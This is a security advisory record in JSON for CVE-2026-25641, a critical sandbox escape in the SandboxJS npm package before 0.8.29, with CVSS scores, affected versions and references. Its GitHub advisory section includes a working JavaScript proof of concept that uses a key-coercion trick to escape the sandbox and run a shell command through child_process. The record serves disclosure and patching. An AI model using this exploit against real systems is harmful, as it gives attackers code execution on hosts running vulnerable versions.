{"id":"CVE-2026-25641","aliases":["CVE-2026-25641","GHSA-7x3h-rm86-3342"],"related":[],"kind":"vulnerability","state":"published","title":"SandboxJS has a sandbox escape via TOCTOU bug on keys in property accesses","summary":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, there is a sandbox escape vulnerability due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Even though the key used in property accesses is annotated as string, this is never enforced. So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access. This vulnerability is fixed in 0.8.29.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, there is a sandbox escape vulnerability due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Even though the key used in property accesses is annotated as string, this is never enforced. So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access. This vulnerability is fixed in 0.8.29.","source":"cvelist"},{"lang":"en","text":"### Summary\nA sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.\n\n### Details\nEven though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced:\nhttps://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304\nSo, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.\n\n### PoC\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\n\nconst code = `\nlet a = new Map;\na.x = 23;\nlet count = 0;\n\nlet nastyProp = {toString: () => {if (count<1){count++;return \"x\"} else return \"__proto__\"}}\nlet mapProt = a[nastyProp];\nmapProt.has = isFinite;\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`;\nconst scope = {};\nconst sandbox = new Sandbox();\nconst exec = sandbox.compile(code);\nexec(scope).run(); \n```\n\n### Impact\nRemote code execution, if attacker can execute code inside the sandbox.","format":"markdown","source":"ghsa"},{"lang":"es","text":"SandboxJS es una librería de sandboxing de JavaScript. Antes de 0.8.29, existe una vulnerabilidad de escape de sandbox debido a una discrepancia entre la clave sobre la que se realiza la validación y la clave utilizada para acceder a las propiedades. Aunque la clave utilizada en los accesos a propiedades está anotada como string, esto nunca se aplica. Así, los atacantes pueden pasar objetos maliciosos que se convierten a diferentes valores de string cuando se usan, por ejemplo, uno para el momento en que la clave se sanea usando hasOwnProperty(key) y uno diferente para cuando la clave se usa para el acceso real a la propiedad. Esta vulnerabilidad está corregida en 0.8.29.","source":"nvd"}],"published":"2026-02-05T21:33:04.000Z","modified":"2026-06-17T10:24:59.990Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","score":9,"rating":"CRITICAL"}],"cwes":["CWE-74","CWE-367"],"affected":[{"ranges":[{"version":"< 0.8.29","status":"affected"}],"vendor":"nyariv","product":"SandboxJS","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.8.29"}],"ecosystem":"npm","package":"@nyariv/sandboxjs","purl":"pkg:npm/%40nyariv/sandboxjs","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.8.29"}],"vendor":"nyariv","product":"sandboxjs","cpe":"cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25641","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nyariv/SandboxJS","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-02-06T20:19:59.166Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25641","url":"https://www.cve.org/CVERecord?id=CVE-2026-25641","licence":"CVE Terms of Use","modified":"2026-02-06T20:20:03.764Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7x3h-rm86-3342","url":"https://github.com/advisories/GHSA-7x3h-rm86-3342","licence":"CC-BY-4.0","modified":"2026-02-06T22:22:04.213Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25641","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25641","licence":"Public domain","modified":"2026-06-17T10:24:59.990Z"}],"updatedAt":"2026-11-25T22:59:13.573Z","epss":{"score":0.00521,"percentile":0.45747,"date":"2026-12-01T12:00:22.000Z"}}